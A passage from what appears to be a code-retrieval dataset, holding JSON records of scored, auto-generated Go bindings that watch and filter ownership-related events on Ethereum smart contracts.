err\n\t}\n\treturn &OwnableOwnershipRenouncedIterator{contract: _Ownable.contract, event: \"OwnershipRenounced\", logs: logs, sub: sub}, nil\n}", "title": "" }, { "docid": "a77669ef0d7d3f5ed713dd7ebcd682b7", "score": "0.57124084", "text": "func (_HoQuConfig *HoQuConfigFilterer) WatchSystemOwnerAdded(opts *bind.WatchOpts, sink chan<- *HoQuConfigSystemOwnerAdded, newOwner []common.Address) (event.Subscription, error) {\n\n\tvar newOwnerRule []interface{}\n\tfor _, newOwnerItem := range newOwner {\n\t\tnewOwnerRule = append(newOwnerRule, newOwnerItem)\n\t}\n\n\tlogs, sub, err := _HoQuConfig.contract.WatchLogs(opts, \"SystemOwnerAdded\", newOwnerRule)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn event.NewSubscription(func(quit <-chan struct{}) error {\n\t\tdefer sub.Unsubscribe()\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase log := <-logs:\n\t\t\t\t// New log arrived, parse the event and forward to the user\n\t\t\t\tevent := new(HoQuConfigSystemOwnerAdded)\n\t\t\t\tif err := _HoQuConfig.contract.UnpackLog(event, \"SystemOwnerAdded\", log); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tevent.Raw = log\n\n\t\t\t\tselect {\n\t\t\t\tcase sink <- event:\n\t\t\t\tcase err := <-sub.Err():\n\t\t\t\t\treturn err\n\t\t\t\tcase <-quit:\n\t\t\t\t\treturn nil\n\t\t\t\t}\n\t\t\tcase err := <-sub.Err():\n\t\t\t\treturn err\n\t\t\tcase <-quit:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t}), nil\n}", "title": "" }, { "docid": "08327db0a93a83df40c82e6551b81fd2", "score": "0.5708597", "text": "func (_AppRegistry *appRegistryEvents) WatchAppOwnerTransferred(opts *bind.WatchOpts, sink chan<- *AppRegistryAppOwnerTransferred, appId [][8]byte, oldOwner []common.Address) (event.Subscription, error) {\n\n\tvar appIdRule []interface{}\n\tfor _, appIdItem := range appId {\n\t\tappIdRule = append(appIdRule, appIdItem)\n\t}\n\n\tvar oldOwnerRule []interface{}\n\tfor _, oldOwnerItem := range oldOwner {\n\t\toldOwnerRule = append(oldOwnerRule, oldOwnerItem)\n\t}\n\n\tlogs, sub, err := _AppRegistry.contract.WatchLogs(opts, \"AppOwnerTransferred\", appIdRule, oldOwnerRule)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn event.NewSubscription(func(quit <-chan struct{}) error {\n\t\tdefer sub.Unsubscribe()\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase log := <-logs:\n\t\t\t\t// New log arrived, parse the event and forward to the user\n\t\t\t\tevt := new(AppRegistryAppOwnerTransferred)\n\t\t\t\tif err := _AppRegistry.contract.UnpackLog(evt, \"AppOwnerTransferred\", log); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tevt.Raw = log\n\n\t\t\t\tselect {\n\t\t\t\tcase sink <- evt:\n\t\t\t\tcase err := <-sub.Err():\n\t\t\t\t\treturn err\n\t\t\t\tcase <-quit:\n\t\t\t\t\treturn nil\n\t\t\t\t}\n\t\t\tcase err := <-sub.Err():\n\t\t\t\treturn err\n\t\t\tcase <-quit:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t}), nil\n}", "title": "" }, { "docid": "9700b77382a04c5a657b487475f9b75e", "score": "0.56983954", "text": "func (_Common *CommonFilterer) WatchOwnershipTransferred(opts *bind.WatchOpts, sink chan<- *CommonOwnershipTransferred, previousOwner []common.Address, newOwner []common.Address) (event.Subscription, error) {\n\n\tvar previousOwnerRule []interface{}\n\tfor _, previousOwnerItem := range previousOwner {\n\t\tpreviousOwnerRule = append(previousOwnerRule, previousOwnerItem)\n\t}\n\tvar newOwnerRule []interface{}\n\tfor _, newOwnerItem := range newOwner {\n\t\tnewOwnerRule = append(newOwnerRule, newOwnerItem)\n\t}\n\n\tlogs, sub, err := _Common.contract.WatchLogs(opts, \"OwnershipTransferred\", previousOwnerRule, newOwnerRule)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn event.NewSubscription(func(quit <-chan struct{}) error {\n\t\tdefer sub.Unsubscribe()\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase log := <-logs:\n\t\t\t\t// New log arrived, parse the event and forward to the user\n\t\t\t\tevent := new(CommonOwnershipTransferred)\n\t\t\t\tif err := _Common.contract.UnpackLog(event, \"OwnershipTransferred\", log); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tevent.Raw = log\n\n\t\t\t\tselect {\n\t\t\t\tcase sink <- event:\n\t\t\t\tcase err := <-sub.Err():\n\t\t\t\t\treturn err\n\t\t\t\tcase <-quit:\n\t\t\t\t\treturn nil\n\t\t\t\t}\n\t\t\tcase err := <-sub.Err():\n\t\t\t\treturn err\n\t\t\tcase <-quit:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t}), nil\n}", "title": "" }, { "docid": "343e2b6ef07baf0c674da07c893c012e", "score": "0.56980026", "text": "func (_RoomFactory *RoomFactoryFilterer) WatchOwnershipTransferred(opts *bind.WatchOpts, sink chan<- *RoomFactoryOwnershipTransferred, previousOwner []common.Address, newOwner []common.Address) (event.Subscription, error) {\n\n\tvar previousOwnerRule []interface{}\n\tfor _, previousOwnerItem := range previousOwner {\n\t\tpreviousOwnerRule = append(previousOwnerRule, previousOwnerItem)\n\t}\n\tvar newOwnerRule []interface{}\n\tfor _, newOwnerItem := range newOwner {\n\t\tnewOwnerRule = append(newOwnerRule, newOwnerItem)\n\t}\n\n\tlogs, sub, err := _RoomFactory.contract.WatchLogs(opts, \"OwnershipTransferred\", previousOwnerRule, newOwnerRule)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn event.NewSubscription(func(quit <-chan struct{}) error {\n\t\tdefer sub.Unsubscribe()\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase log := <-logs:\n\t\t\t\t// New log arrived, parse the event and forward to the user\n\t\t\t\tevent := new(RoomFactoryOwnershipTransferred)\n\t\t\t\tif err := _RoomFactory.contract.UnpackLog(event, \"OwnershipTransferred\", log); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tevent.Raw = log\n\n\t\t\t\tselect {\n\t\t\t\tcase sink <- event:\n\t\t\t\tcase err := <-sub.Err():\n\t\t\t\t\treturn err\n\t\t\t\tcase <-quit:\n\t\t\t\t\treturn nil\n\t\t\t\t}\n\t\t\tcase err := <-sub.Err():\n\t\t\t\treturn err\n\t\t\tcase <-quit:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t}), nil\n}", "title": "" }, { "docid": "ce012b8c9b5f7a3e8ff00813bd97268a", "score": "0.5694007", "text": "func (_Attestations *AttestationsFilterer) WatchOwnershipTransferred(opts *bind.WatchOpts, sink chan<- *AttestationsOwnershipTransferred, previousOwner []common.Address, newOwner []common.Address) (event.Subscription, error) {\n\n\tvar previousOwnerRule []interface{}\n\tfor _, previousOwnerItem := range previousOwner {\n\t\tpreviousOwnerRule = append(previousOwnerRule, previousOwnerItem)\n\t}\n\tvar newOwnerRule []interface{}\n\tfor _, newOwnerItem := range newOwner {\n\t\tnewOwnerRule = append(newOwnerRule, newOwnerItem)\n\t}\n\n\tlogs, sub, err := _Attestations.contract.WatchLogs(opts, \"OwnershipTransferred\", previousOwnerRule, newOwnerRule)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn event.NewSubscription(func(quit <-chan struct{}) error {\n\t\tdefer sub.Unsubscribe()\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase log := <-logs:\n\t\t\t\t// New log arrived, parse the event and forward to the user\n\t\t\t\tevent := new(AttestationsOwnershipTransferred)\n\t\t\t\tif err := _Attestations.contract.UnpackLog(event, \"OwnershipTransferred\", log); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tevent.Raw = log\n\n\t\t\t\tselect {\n\t\t\t\tcase sink <- event:\n\t\t\t\tcase err := <-sub.Err():\n\t\t\t\t\treturn err\n\t\t\t\tcase <-quit:\n\t\t\t\t\treturn nil\n\t\t\t\t}\n\t\t\tcase err := <-sub.Err():\n\t\t\t\treturn err\n\t\t\tcase <-quit:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t}), nil\n}", "title": "" }, { "docid": "55b406ec667c536657ba3a674e1438b9", "score": "0.56934613", "text": "func (_BikeToken *BikeTokenFilterer) WatchNewOwner(opts *bind.WatchOpts, sink chan<- *BikeTokenNewOwner) (event.Subscription, error) {\n\n\tlogs, sub, err := _BikeToken.contract.WatchLogs(opts, \"NewOwner\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn event.NewSubscription(func(quit <-chan struct{}) error {\n\t\tdefer sub.Unsubscribe()\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase log := <-logs:\n\t\t\t\t// New log arrived, parse the event and forward to the user\n\t\t\t\tevent := new(BikeTokenNewOwner)\n\t\t\t\tif err := _BikeToken.contract.UnpackLog(event, \"NewOwner\", log); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tevent.Raw = log\n\n\t\t\t\tselect {\n\t\t\t\tcase sink <- event:\n\t\t\t\tcase err := <-sub.Err():\n\t\t\t\t\treturn err\n\t\t\t\tcase <-quit:\n\t\t\t\t\treturn nil\n\t\t\t\t}\n\t\t\tcase err := <-sub.Err():\n\t\t\t\treturn err\n\t\t\tcase <-quit:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t}), nil\n}", "title": "" }, { "docid": "89ae26eacf4678bd8e5aa1f0d1fce2da", "score": "0.56895965", "text": "func (_Escrow *EscrowFilterer) FilterOwnershipRenounced(opts *bind.FilterOpts, previousOwner []common.Address) (*EscrowOwnershipRenouncedIterator, error) {\n\n\tvar previousOwnerRule []interface{}\n\tfor _, previousOwnerItem := range previousOwner {\n\t\tpreviousOwnerRule = append(previousOwnerRule, previousOwnerItem)\n\t}\n\n\tlogs, sub, err := _Escrow.contract.FilterLogs(opts, \"OwnershipRenounced\", previousOwnerRule)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &EscrowOwnershipRenouncedIterator{contract: _Escrow.contract, event: \"OwnershipRenounced\", logs: logs, sub: sub}, nil\n}", "title": "" }, { "docid": "23246d0b56eeb2dec7822473735a32d6", "score": "0.56875277", "text": "func (_FinalizableCrowdsale *FinalizableCrowdsaleFilterer) WatchOwnershipTransferred(opts *bind.WatchOpts, sink chan<- *FinalizableCrowdsaleOwnershipTransferred, previousOwner []common.Address, newOwner []common.Address) (event.Subscription, error) {\n\n\tvar previousOwnerRule []interface{}\n\tfor _, previousOwnerItem := range previousOwner {\n\t\tpreviousOwnerRule = append(previousOwnerRule, previousOwnerItem)\n\t}\n\tvar newOwnerRule []interface{}\n\tfor _, newOwnerItem := range newOwner {\n\t\tnewOwnerRule = append(newOwnerRule, newOwnerItem)\n\t}\n\n\tlogs, sub, err := _FinalizableCrowdsale.contract.WatchLogs(opts, \"OwnershipTransferred\", previousOwnerRule, newOwnerRule)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn event.NewSubscription(func(quit <-chan struct{}) error {\n\t\tdefer sub.Unsubscribe()\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase log := <-logs:\n\t\t\t\t// New log arrived, parse the event and forward to the user\n\t\t\t\tevent := new(FinalizableCrowdsaleOwnershipTransferred)\n\t\t\t\tif err := _FinalizableCrowdsale.contract.UnpackLog(event, \"OwnershipTransferred\", log); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tevent.Raw = log\n\n\t\t\t\tselect {\n\t\t\t\tcase sink <- event:\n\t\t\t\tcase err := <-sub.Err():\n\t\t\t\t\treturn err\n\t\t\t\tcase <-quit:\n\t\t\t\t\treturn nil\n\t\t\t\t}\n\t\t\tcase err := <-sub.Err():\n\t\t\t\treturn err\n\t\t\tcase <-quit:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t}), nil\n}", "title": "" }, { "docid": "ed7882f98fbf2e3a970fafa912debcc3", "score": "0.56765807", "text": "func (_Binding *BindingFilterer) WatchOwnershipTransferred(opts *bind.WatchOpts, sink chan<- *BindingOwnershipTransferred, previousOwner []common.Address, newOwner []common.Address) (event.Subscription, error) {\n\n\tvar previousOwnerRule []interface{}\n\tfor _, previousOwnerItem := range previousOwner {\n\t\tpreviousOwnerRule = append(previousOwnerRule, previousOwnerItem)\n\t}\n\tvar newOwnerRule []interface{}\n\tfor _, newOwnerItem := range newOwner {\n\t\tnewOwnerRule = append(newOwnerRule, newOwnerItem)\n\t}\n\n\tlogs, sub, err := _Binding.contract.WatchLogs(opts, \"OwnershipTransferred\", previousOwnerRule, newOwnerRule)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn event.NewSubscription(func(quit <-chan struct{}) error {\n\t\tdefer sub.Unsubscribe()\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase log := <-logs:\n\t\t\t\t// New log arrived, parse the event and forward to the user\n\t\t\t\tevent := new(BindingOwnershipTransferred)\n\t\t\t\tif err := _Binding.contract.UnpackLog(event, \"OwnershipTransferred\", log); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tevent.Raw = log\n\n\t\t\t\tselect {\n\t\t\t\tcase sink <- event:\n\t\t\t\tcase err := <-sub.Err():\n\t\t\t\t\treturn err\n\t\t\t\tcase <-quit:\n\t\t\t\t\treturn nil\n\t\t\t\t}\n\t\t\tcase err := <-sub.Err():\n\t\t\t\treturn err\n\t\t\tcase <-quit:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t}), nil\n}", "title": "" }, { "docid": "2668c25133a40ad01eb5ca676d7aedea", "score": "0.5676121", "text": "func (_Deposit *DepositFilterer) WatchLogSetOwner(opts *bind.WatchOpts, sink chan<- *DepositLogSetOwner, owner []common.Address) (event.Subscription, error) {\n\n\tvar ownerRule []interface{}\n\tfor _, ownerItem := range owner {\n\t\townerRule = append(ownerRule, ownerItem)\n\t}\n\n\tlogs, sub, err := _Deposit.contract.WatchLogs(opts, \"LogSetOwner\", ownerRule)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn event.NewSubscription(func(quit <-chan struct{}) error {\n\t\tdefer sub.Unsubscribe()\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase log := <-logs:\n\t\t\t\t// New log arrived, parse the event and forward to the user\n\t\t\t\tevent := new(DepositLogSetOwner)\n\t\t\t\tif err := _Deposit.contract.UnpackLog(event, \"LogSetOwner\", log); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tevent.Raw = log\n\n\t\t\t\tselect {\n\t\t\t\tcase sink <- event:\n\t\t\t\tcase err := <-sub.Err():\n\t\t\t\t\treturn err\n\t\t\t\tcase <-quit:\n\t\t\t\t\treturn nil\n\t\t\t\t}\n\t\t\tcase err := <-sub.Err():\n\t\t\t\treturn err\n\t\t\tcase <-quit:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t}), nil\n}", "title": "" }, { "docid": "a88a6fe2540dce6baa43a351336f4388", "score": "0.56758124", "text": "func (_HoQuConfigI *HoQuConfigITransactor) DeleteOwner(opts *bind.TransactOpts, i uint16) (*types.Transaction, error) {\n\treturn _HoQuConfigI.contract.Transact(opts, \"deleteOwner\", i)\n}", "title": "" }, { "docid": "976b3fd2af1ba38b37fd866ad922a7fe", "score": "0.5675438", "text": "func (_Router *RouterFilterer) WatchOwnershipTransferred(opts *bind.WatchOpts, sink chan<- *RouterOwnershipTransferred, previousOwner []common.Address, newOwner []common.Address) (event.Subscription, error) {\n\n\tvar previousOwnerRule []interface{}\n\tfor _, previousOwnerItem := range previousOwner {\n\t\tpreviousOwnerRule = append(previousOwnerRule, previousOwnerItem)\n\t}\n\tvar newOwnerRule []interface{}\n\tfor _, newOwnerItem := range newOwner {\n\t\tnewOwnerRule = append(newOwnerRule, newOwnerItem)\n\t}\n\n\tlogs, sub, err := _Router.contract.WatchLogs(opts, \"OwnershipTransferred\", previousOwnerRule, newOwnerRule)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn event.NewSubscription(func(quit <-chan struct{}) error {\n\t\tdefer sub.Unsubscribe()\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase log := <-logs:\n\t\t\t\t// New log arrived, parse the event and forward to the user\n\t\t\t\tevent := new(RouterOwnershipTransferred)\n\t\t\t\tif err := _Router.contract.UnpackLog(event, \"OwnershipTransferred\", log); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tevent.Raw = log\n\n\t\t\t\tselect {\n\t\t\t\tcase sink <- event:\n\t\t\t\tcase err := <-sub.Err():\n\t\t\t\t\treturn err\n\t\t\t\tcase <-quit:\n\t\t\t\t\treturn nil\n\t\t\t\t}\n\t\t\tcase err := <-sub.Err():\n\t\t\t\treturn err\n\t\t\tcase <-quit:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t}), nil\n}", "title": "" }, { "docid": "77784e7794f6d01b85389de223a6d2cc", "score": "0.5675046", "text": "func (_InHospitalData *InHospitalDataFilterer) FilterOwnershipRenounced(opts *bind.FilterOpts, previousOwner []common.Address) (*InHospitalDataOwnershipRenouncedIterator, error) {\n\n\tvar previousOwnerRule []interface{}\n\tfor _, previousOwnerItem := range previousOwner {\n\t\tpreviousOwnerRule = append(previousOwnerRule, previousOwnerItem)\n\t}\n\n\tlogs, sub, err := _InHospitalData.contract.FilterLogs(opts, \"OwnershipRenounced\", previousOwnerRule)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &InHospitalDataOwnershipRenouncedIterator{contract: _InHospitalData.contract, event: \"OwnershipRenounced\", logs: logs, sub: sub}, nil\n}", "title": "" }, { "docid": "2cabbb5909ec2a3ea04f94c4dcde7aec", "score": "0.5666997", "text": "func (_Ownable *OwnableFilterer) WatchOwnershipTransferred(opts *bind.WatchOpts, sink chan<- *OwnableOwnershipTransferred, previousOwner []common.Address, newOwner []common.Address) (event.Subscription, error) {\n\n\tvar previousOwnerRule []interface{}\n\tfor _, previousOwnerItem := range previousOwner {\n\t\tpreviousOwnerRule = append(previousOwnerRule, previousOwnerItem)\n\t}\n\tvar newOwnerRule []interface{}\n\tfor _, newOwnerItem := range newOwner {\n\t\tnewOwnerRule = append(newOwnerRule, newOwnerItem)\n\t}\n\n\tlogs, sub, err := _Ownable.contract.WatchLogs(opts, \"OwnershipTransferred\", previousOwnerRule, newOwnerRule)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn event.NewSubscription(func(quit <-chan struct{}) error {\n\t\tdefer sub.Unsubscribe()\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase log := <-logs:\n\t\t\t\t// New log arrived, parse the event and forward to the user\n\t\t\t\tevent := new(OwnableOwnershipTransferred)\n\t\t\t\tif err := _Ownable.contract.UnpackLog(event, \"OwnershipTransferred\", log); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tevent.Raw = log\n\n\t\t\t\tselect {\n\t\t\t\tcase sink <- event:\n\t\t\t\tcase err := <-sub.Err():\n\t\t\t\t\treturn err\n\t\t\t\tcase <-quit:\n\t\t\t\t\treturn nil\n\t\t\t\t}\n\t\t\tcase err := <-sub.Err():\n\t\t\t\treturn err\n\t\t\tcase <-quit:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t}), nil\n}", "title": "" }, { "docid": "2cabbb5909ec2a3ea04f94c4dcde7aec", "score": "0.5666997", "text": "func (_Ownable *OwnableFilterer) WatchOwnershipTransferred(opts *bind.WatchOpts, sink chan<- *OwnableOwnershipTransferred, previousOwner []common.Address, newOwner []common.Address) (event.Subscription, error) {\n\n\tvar previousOwnerRule []interface{}\n\tfor _, previousOwnerItem := range previousOwner {\n\t\tpreviousOwnerRule = append(previousOwnerRule, previousOwnerItem)\n\t}\n\tvar newOwnerRule []interface{}\n\tfor _, newOwnerItem := range newOwner {\n\t\tnewOwnerRule = append(newOwnerRule, newOwnerItem)\n\t}\n\n\tlogs, sub, err := _Ownable.contract.WatchLogs(opts, \"OwnershipTransferred\", previousOwnerRule, newOwnerRule)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn event.NewSubscription(func(quit <-chan struct{}) error {\n\t\tdefer sub.Unsubscribe()\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase log := <-logs:\n\t\t\t\t// New log arrived, parse the event and forward to the user\n\t\t\t\tevent := new(OwnableOwnershipTransferred)\n\t\t\t\tif err := _Ownable.contract.UnpackLog(event, \"OwnershipTransferred\", log); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tevent.Raw = log\n\n\t\t\t\tselect {\n\t\t\t\tcase sink <- event:\n\t\t\t\tcase err := <-sub.Err():\n\t\t\t\t\treturn err\n\t\t\t\tcase <-quit:\n\t\t\t\t\treturn nil\n\t\t\t\t}\n\t\t\tcase err := <-sub.Err():\n\t\t\t\treturn err\n\t\t\tcase <-quit:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t}), nil\n}", "title": "" }, { "docid": "2cabbb5909ec2a3ea04f94c4dcde7aec", "score": "0.5666997", "text": "func (_Ownable *OwnableFilterer) WatchOwnershipTransferred(opts *bind.WatchOpts, sink chan<- *OwnableOwnershipTransferred, previousOwner []common.Address, newOwner []common.Address) (event.Subscription, error) {\n\n\tvar previousOwnerRule []interface{}\n\tfor _, previousOwnerItem := range previousOwner {\n\t\tpreviousOwnerRule = append(previousOwnerRule, previousOwnerItem)\n\t}\n\tvar newOwnerRule []interface{}\n\tfor _, newOwnerItem := range newOwner {\n\t\tnewOwnerRule = append(newOwnerRule, newOwnerItem)\n\t}\n\n\tlogs, sub, err := _Ownable.contract.WatchLogs(opts, \"OwnershipTransferred\", previousOwnerRule, newOwnerRule)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn event.NewSubscription(func(quit <-chan struct{}) error {\n\t\tdefer sub.Unsubscribe()\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase log := <-logs:\n\t\t\t\t// New log arrived, parse the event and forward to the user\n\t\t\t\tevent := new(OwnableOwnershipTransferred)\n\t\t\t\tif err := _Ownable.contract.UnpackLog(event, \"OwnershipTransferred\", log); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tevent.Raw = log\n\n\t\t\t\tselect {\n\t\t\t\tcase sink <- event:\n\t\t\t\tcase err := <-sub.Err():\n\t\t\t\t\treturn err\n\t\t\t\tcase <-quit:\n\t\t\t\t\treturn nil\n\t\t\t\t}\n\t\t\tcase err := <-sub.Err():\n\t\t\t\treturn err\n\t\t\tcase <-quit:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t}), nil\n}", "title": "" }, { "docid": "2cabbb5909ec2a3ea04f94c4dcde7aec", "score": "0.5666997", "text": "func (_Ownable *OwnableFilterer) WatchOwnershipTransferred(opts *bind.WatchOpts, sink chan<- *OwnableOwnershipTransferred, previousOwner []common.Address, newOwner []common.Address) (event.Subscription, error) {\n\n\tvar previousOwnerRule []interface{}\n\tfor _, previousOwnerItem := range previousOwner {\n\t\tpreviousOwnerRule = append(previousOwnerRule, previousOwnerItem)\n\t}\n\tvar newOwnerRule []interface{}\n\tfor _, newOwnerItem := range newOwner {\n\t\tnewOwnerRule = append(newOwnerRule, newOwnerItem)\n\t}\n\n\tlogs, sub, err := _Ownable.contract.WatchLogs(opts, \"OwnershipTransferred\", previousOwnerRule, newOwnerRule)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn event.NewSubscription(func(quit <-chan struct{}) error {\n\t\tdefer sub.Unsubscribe()\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase log := <-logs:\n\t\t\t\t// New log arrived, parse the event and forward to the user\n\t\t\t\tevent := new(OwnableOwnershipTransferred)\n\t\t\t\tif err := _Ownable.contract.UnpackLog(event, \"OwnershipTransferred\", log); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tevent.Raw = log\n\n\t\t\t\tselect {\n\t\t\t\tcase sink <- event:\n\t\t\t\tcase err := <-sub.Err():\n\t\t\t\t\treturn err\n\t\t\t\tcase <-quit:\n\t\t\t\t\treturn nil\n\t\t\t\t}\n\t\t\tcase err := <-sub.Err():\n\t\t\t\treturn err\n\t\t\tcase <-quit:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t}), nil\n}", "title": "" }, { "docid": "6f03321ce4332989fac0284ed9e0e377", "score": "0.566388", "text": "func (_LightRelay *LightRelayFilterer) WatchOwnershipTransferred(opts *bind.WatchOpts, sink chan<- *LightRelayOwnershipTransferred, previousOwner []common.Address, newOwner []common.Address) (event.Subscription, error) {\n\n\tvar previousOwnerRule []interface{}\n\tfor _, previousOwnerItem := range previousOwner {\n\t\tpreviousOwnerRule = append(previousOwnerRule, previousOwnerItem)\n\t}\n\tvar newOwnerRule []interface{}\n\tfor _, newOwnerItem := range newOwner {\n\t\tnewOwnerRule = append(newOwnerRule, newOwnerItem)\n\t}\n\n\tlogs, sub, err := _LightRelay.contract.WatchLogs(opts, \"OwnershipTransferred\", previousOwnerRule, newOwnerRule)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn event.NewSubscription(func(quit <-chan struct{}) error {\n\t\tdefer sub.Unsubscribe()\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase log := <-logs:\n\t\t\t\t// New log arrived, parse the event and forward to the user\n\t\t\t\tevent := new(LightRelayOwnershipTransferred)\n\t\t\t\tif err := _LightRelay.contract.UnpackLog(event, \"OwnershipTransferred\", log); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tevent.Raw = log\n\n\t\t\t\tselect {\n\t\t\t\tcase sink <- event:\n\t\t\t\tcase err := <-sub.Err():\n\t\t\t\t\treturn err\n\t\t\t\tcase <-quit:\n\t\t\t\t\treturn nil\n\t\t\t\t}\n\t\t\tcase err := <-sub.Err():\n\t\t\t\treturn err\n\t\t\tcase <-quit:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t}), nil\n}", "title": "" }, { "docid": "83d0b2af1a9fa33972bff97970aa97d9", "score": "0.5657143", "text": "func (_Peth *PethFilterer) WatchLogSetOwner(opts *bind.WatchOpts, sink chan<- *PethLogSetOwner, owner []common.Address) (event.Subscription, error) {\n\n\tvar ownerRule []interface{}\n\tfor _, ownerItem := range owner {\n\t\townerRule = append(ownerRule, ownerItem)\n\t}\n\n\tlogs, sub, err := _Peth.contract.WatchLogs(opts, \"LogSetOwner\", ownerRule)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn event.NewSubscription(func(quit <-chan struct{}) error {\n\t\tdefer sub.Unsubscribe()\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase log := <-logs:\n\t\t\t\t// New log arrived, parse the event and forward to the user\n\t\t\t\tevent := new(PethLogSetOwner)\n\t\t\t\tif err := _Peth.contract.UnpackLog(event, \"LogSetOwner\", log); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tevent.Raw = log\n\n\t\t\t\tselect {\n\t\t\t\tcase sink <- event:\n\t\t\t\tcase err := <-sub.Err():\n\t\t\t\t\treturn err\n\t\t\t\tcase <-quit:\n\t\t\t\t\treturn nil\n\t\t\t\t}\n\t\t\tcase err := <-sub.Err():\n\t\t\t\treturn err\n\t\t\tcase <-quit:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t}), nil\n}", "title": "" }, { "docid": "80015b5c53eb3efaf821b5393ea36ff7", "score": "0.5650059", "text": "func (_RoomFactory *RoomFactoryFilterer) FilterOwnershipRenounced(opts *bind.FilterOpts, previousOwner []common.Address) (*RoomFactoryOwnershipRenouncedIterator, error) {\n\n\tvar previousOwnerRule []interface{}\n\tfor _, previousOwnerItem := range previousOwner {\n\t\tpreviousOwnerRule = append(previousOwnerRule, previousOwnerItem)\n\t}\n\n\tlogs, sub, err := _RoomFactory.contract.FilterLogs(opts, \"OwnershipRenounced\", previousOwnerRule)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &RoomFactoryOwnershipRenouncedIterator{contract: _RoomFactory.contract, event: \"OwnershipRenounced\", logs: logs, sub: sub}, nil\n}", "title": "" }, { "docid": "ea45e81040e6341533568f7b46eadce1", "score": "0.56378174", "text": "func (_NFTLockProxy *NFTLockProxyFilterer) WatchOwnershipTransferred(opts *bind.WatchOpts, sink chan<- *NFTLockProxyOwnershipTransferred, previousOwner []common.Address, newOwner []common.Address) (event.Subscription, error) {\n\n\tvar previousOwnerRule []interface{}\n\tfor _, previousOwnerItem := range previousOwner {\n\t\tpreviousOwnerRule = append(previousOwnerRule, previousOwnerItem)\n\t}\n\tvar newOwnerRule []interface{}\n\tfor _, newOwnerItem := range newOwner {\n\t\tnewOwnerRule = append(newOwnerRule, newOwnerItem)\n\t}\n\n\tlogs, sub, err := _NFTLockProxy.contract.WatchLogs(opts, \"OwnershipTransferred\", previousOwnerRule, newOwnerRule)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn event.NewSubscription(func(quit <-chan struct{}) error {\n\t\tdefer sub.Unsubscribe()\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase log := <-logs:\n\t\t\t\t// New log arrived, parse the event and forward to the user\n\t\t\t\tevent := new(NFTLockProxyOwnershipTransferred)\n\t\t\t\tif err := _NFTLockProxy.contract.UnpackLog(event, \"OwnershipTransferred\", log); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tevent.Raw = 